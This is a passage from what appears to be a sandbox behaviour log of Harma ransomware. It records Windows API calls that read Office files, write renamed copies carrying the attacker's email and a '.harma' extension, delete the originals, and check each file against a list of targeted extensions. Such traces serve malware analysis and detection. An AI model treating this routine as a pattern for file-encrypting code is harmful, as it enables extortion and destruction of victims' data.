Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.307] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.307] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0151.307] GetLastError () returned 0x0 [0151.307] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x6a3, lpOverlapped=0x0) returned 1 [0151.309] WriteFile (in: hFile=0x360, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0151.310] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.310] WriteFile (in: hFile=0x360, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0151.310] SetEndOfFile (hFile=0x360) returned 1 [0151.310] CloseHandle (hObject=0x360) returned 1 [0151.310] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.310] SetEndOfFile (hFile=0x338) returned 1 [0151.312] CloseHandle (hObject=0x338) returned 1 [0151.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 1 [0151.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.313] lstrlenW (lpString=".doc") returned 4 [0151.313] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0151.313] lstrlenW (lpString=".docx") returned 5 [0151.313] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0151.313] lstrlenW (lpString=".pdf") returned 4 [0151.313] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0151.313] lstrlenW (lpString=".xls") returned 4 [0151.313] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0151.314] lstrlenW (lpString=".xlsx") returned 5 [0151.314] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0151.314] lstrlenW (lpString=".ppt") returned 4 [0151.314] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.314] lstrlenW (lpString=".zip") returned 4 [0151.314] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0151.314] lstrlenW (lpString=".rar") returned 4 [0151.314] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0151.314] lstrlenW (lpString=".bz2") returned 4 [0151.314] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0151.314] lstrlenW (lpString=".7z") returned 3 [0151.314] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.314] lstrlenW (lpString=".dbf") returned 4 [0151.314] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.314] lstrlenW (lpString=".1cd") returned 4 [0151.314] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.314] lstrlenW (lpString=".jpg") returned 4 [0151.314] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.314] lstrlenW (lpString=".doc") returned 4 [0151.314] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0151.314] lstrlenW (lpString=".docx") returned 5 [0151.314] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0151.314] lstrlenW (lpString=".pdf") returned 4 [0151.314] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0151.314] lstrlenW (lpString=".xls") returned 4 [0151.314] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0151.315] lstrlenW (lpString=".xlsx") returned 5 [0151.315] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0151.315] lstrlenW (lpString=".ppt") returned 4 [0151.315] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0151.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.315] lstrlenW (lpString=".zip") returned 4 [0151.315] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0151.315] lstrlenW (lpString=".rar") returned 4 [0151.315] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0151.315] lstrlenW (lpString=".bz2") returned 4 [0151.315] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0151.315] lstrlenW (lpString=".7z") returned 3 [0151.315] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0151.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.315] lstrlenW (lpString=".dbf") returned 4 [0151.315] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0151.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.315] lstrlenW (lpString=".1cd") returned 4 [0151.315] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0151.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0151.315] lstrlenW (lpString=".jpg") returned 4 [0151.315] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0151.315] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0151.315] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13 [0151.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.316] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=7024126) returned 1 [0151.317] CloseHandle (hObject=0x338) returned 1 [0151.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) returned 0x20 [0151.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0151.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.317] lstrlenW (lpString=".doc") returned 4 [0151.317] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0151.317] lstrlenW (lpString=".docx") returned 5 [0151.317] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0151.317] lstrlenW (lpString=".pdf") returned 4 [0151.317] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0151.317] lstrlenW (lpString=".xls") returned 4 [0151.317] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0151.317] lstrlenW (lpString=".xlsx") returned 5 [0151.317] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0151.317] lstrlenW (lpString=".ppt") returned 4 [0151.317] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0151.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.317] lstrlenW (lpString=".zip") returned 4 [0151.317] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0151.317] lstrlenW (lpString=".rar") returned 4 [0151.318] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0151.318] lstrlenW (lpString=".bz2") returned 4 [0151.318] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0151.318] lstrlenW (lpString=".7z") returned 3 [0151.318] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0151.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.318] lstrlenW (lpString=".dbf") returned 4 [0151.318] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0151.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.318] lstrlenW (lpString=".1cd") returned 4 [0151.318] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0151.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.318] lstrlenW (lpString=".jpg") returned 4 [0151.318] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0151.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.318] lstrlenW (lpString=".doc") returned 4 [0151.318] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0151.318] lstrlenW (lpString=".docx") returned 5 [0151.318] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0151.318] lstrlenW (lpString=".pdf") returned 4 [0151.318] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0151.318] lstrlenW (lpString=".xls") returned 4 [0151.318] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0151.318] lstrlenW (lpString=".xlsx") returned 5 [0151.318] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0151.318] lstrlenW (lpString=".ppt") returned 4 [0151.318] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0151.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.318] lstrlenW (lpString=".zip") returned 4 [0151.319] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0151.319] lstrlenW (lpString=".rar") returned 4 [0151.319] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0151.319] lstrlenW (lpString=".bz2") returned 4 [0151.319] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0151.319] lstrlenW (lpString=".7z") returned 3 [0151.319] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0151.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.319] lstrlenW (lpString=".dbf") returned 4 [0151.319] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0151.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.319] lstrlenW (lpString=".1cd") returned 4 [0151.319] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0151.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0151.319] lstrlenW (lpString=".jpg") returned 4 [0151.319] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0151.319] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0151.319] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17 [0151.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0151.704] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=641) returned 1 [0151.705] CloseHandle (hObject=0x330) returned 1 [0151.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 0x20 [0151.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0151.738] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.738] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.738] GetLastError () returned 0x0 [0151.738] ReadFile (in: hFile=0x37c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x281, lpOverlapped=0x0) returned 1 [0151.787] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x290, lpOverlapped=0x0) returned 1 [0151.788] ReadFile (in: hFile=0x37c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.788] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0151.788] SetEndOfFile (hFile=0x374) returned 1 [0151.788] CloseHandle (hObject=0x374) returned 1 [0151.789] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.789] SetEndOfFile (hFile=0x37c) returned 1 [0151.791] CloseHandle (hObject=0x37c) returned 1 [0151.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 1 [0151.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.792] lstrlenW (lpString=".doc") returned 4 [0151.792] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0151.792] lstrlenW (lpString=".docx") returned 5 [0151.792] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0151.792] lstrlenW (lpString=".pdf") returned 4 [0151.792] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0151.792] lstrlenW (lpString=".xls") returned 4 [0151.792] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0151.792] lstrlenW (lpString=".xlsx") returned 5 [0151.792] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0151.792] lstrlenW (lpString=".ppt") returned 4 [0151.792] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0151.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.792] lstrlenW (lpString=".zip") returned 4 [0151.792] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0151.792] lstrlenW (lpString=".rar") returned 4 [0151.792] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0151.792] lstrlenW (lpString=".bz2") returned 4 [0151.792] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0151.792] lstrlenW (lpString=".7z") returned 3 [0151.792] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0151.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.792] lstrlenW (lpString=".dbf") returned 4 [0151.792] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0151.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.793] lstrlenW (lpString=".1cd") returned 4 [0151.793] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.793] lstrlenW (lpString=".jpg") returned 4 [0151.793] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.793] lstrlenW (lpString=".doc") returned 4 [0151.793] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0151.793] lstrlenW (lpString=".docx") returned 5 [0151.793] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0151.793] lstrlenW (lpString=".pdf") returned 4 [0151.793] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0151.793] lstrlenW (lpString=".xls") returned 4 [0151.793] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0151.793] lstrlenW (lpString=".xlsx") returned 5 [0151.793] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0151.793] lstrlenW (lpString=".ppt") returned 4 [0151.793] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.793] lstrlenW (lpString=".zip") returned 4 [0151.793] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0151.793] lstrlenW (lpString=".rar") returned 4 [0151.793] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0151.793] lstrlenW (lpString=".bz2") returned 4 [0151.793] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0151.793] lstrlenW (lpString=".7z") returned 3 [0151.793] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0151.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.794] lstrlenW (lpString=".dbf") returned 4 [0151.794] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0151.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.794] lstrlenW (lpString=".1cd") returned 4 [0151.794] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0151.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0151.794] lstrlenW (lpString=".jpg") returned 4 [0151.794] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0151.794] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0151.794] lstrlenW (lpString="EXCEL_COL.HXC") returned 13 [0151.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0151.795] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=621) returned 1 [0151.795] CloseHandle (hObject=0x37c) returned 1 [0151.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 0x20 [0151.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0151.795] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.795] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.796] GetLastError () returned 0x0 [0151.796] ReadFile (in: hFile=0x37c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x26d, lpOverlapped=0x0) returned 1 [0151.822] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x270, lpOverlapped=0x0) returned 1 [0151.824] ReadFile (in: hFile=0x37c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.824] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xee, lpOverlapped=0x0) returned 1 [0151.824] SetEndOfFile (hFile=0x374) returned 1 [0152.142] CloseHandle (hObject=0x374) returned 1 [0152.142] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.142] SetEndOfFile (hFile=0x37c) returned 1 [0152.302] CloseHandle (hObject=0x37c) returned 1 [0152.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 1 [0152.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0152.409] lstrlenW (lpString=".doc") returned 4 [0152.409] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0152.409] lstrlenW (lpString=".docx") returned 5 [0152.409] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0152.409] lstrlenW (lpString=".pdf") returned 4 [0152.409] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0152.409] lstrlenW (lpString=".xls") returned 4 [0152.409] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0152.409] lstrlenW (lpString=".xlsx") returned 5 [0152.409] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0152.409] lstrlenW 